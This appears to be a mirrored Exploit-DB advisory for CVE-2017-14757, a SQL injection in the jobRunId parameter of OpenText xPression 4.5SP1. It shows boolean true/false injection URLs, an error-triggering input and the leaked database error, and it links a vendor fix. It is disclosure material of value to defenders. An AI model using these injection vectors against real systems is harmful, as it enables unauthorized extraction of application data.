OpenText Document Sciences xPression 4.5SP1 Patch 13 – ‘jobRunId’ SQL Injection

• Exploit Database
• 41 阅读

• 作者： Marcin Woloszyn
  日期： 2017-10-02
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/42939/

• Title: OpenText Document Sciences xPression (formerly EMC Document
  Sciences xPression) - SQL Injection
  Author: Marcin Woloszyn
  Date: 27. September 2017
  CVE: CVE-2017-14757
  
  Affected Software:
  ==================
  OpenText Document Sciences xPression (formerly EMC Document Sciences xPression)
  
  Exploit was tested on:
  ======================
  v4.5SP1 Patch 13 (older versions might be affected as well)
  
  SQL Injection:
  ==============
  
  Due to lack of prepared statements an application is prone to SQL
  Injection attacks.
  Potential attacker can retrieve data from application database by
  exploiting the issue.
  
  Vector :
  --------
  
  True: http://[...]/xDashboard/html/jobhistory/downloadSupportFile.action?jobRunId=1502642747222443244706554841153+and+1=1
  False: http://[...]/xDashboard/html/jobhistory/downloadSupportFile.action?jobRunId=1502642747222443244706554841153+and+1=2
  
  Additionally:
  
  http://[...]/xDashboard/html/jobhistory/downloadSupportFile.action?jobRunId=1502642747222443244706554841153aaa
  
  Results in the following error in response:
  
  HTTP/1.1 200 OK
  [...]
  <b>Errors:&nbsp;</b>
  
  See nested exception&#x3b; nested exception is&#x3a;
  java.lang.RuntimeException&#x3a;
  com.dsc.uniarch.cr.error.CRException&#x3a; CRReportingSL&#x3a; Method
  getJobRunsByIds did not succeed because of a database operation
  failure.&#x3b;
  &#x9;---> nested com.dsc.uniarch.cr.error.CRSyntaxException&#x3a;
  Database syntax error &#x3a;SELECTJOBRUN_ID, JOB_NAME,
  PUBLISH_PROFILE, PUBLISH_TYPE, START_TIME, END_TIME, HAS_DISTRIBUTION,
  DISTRIBUTION_NUMBER, STATUS, ERROR, REPORTING_LEVEL, THREAD_ID, JOB_ID
  FROM T_JOBRUN WHERE
  JOBRUN_ID&#x3d;1502642747222443244706554841153aaa.&#x3b;
  &#x9;---> nested java.sql.SQLSyntaxErrorException&#x3a;
  ORA-00933&#x3a; SQL command not properly ended
  
  An attacker can see whole query and injection point. This can also be
  used for error-based data extraction.
  
  Fix:
  ====
  https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774
  
  Contact:
  ========
  mw[at]nme[dot]pl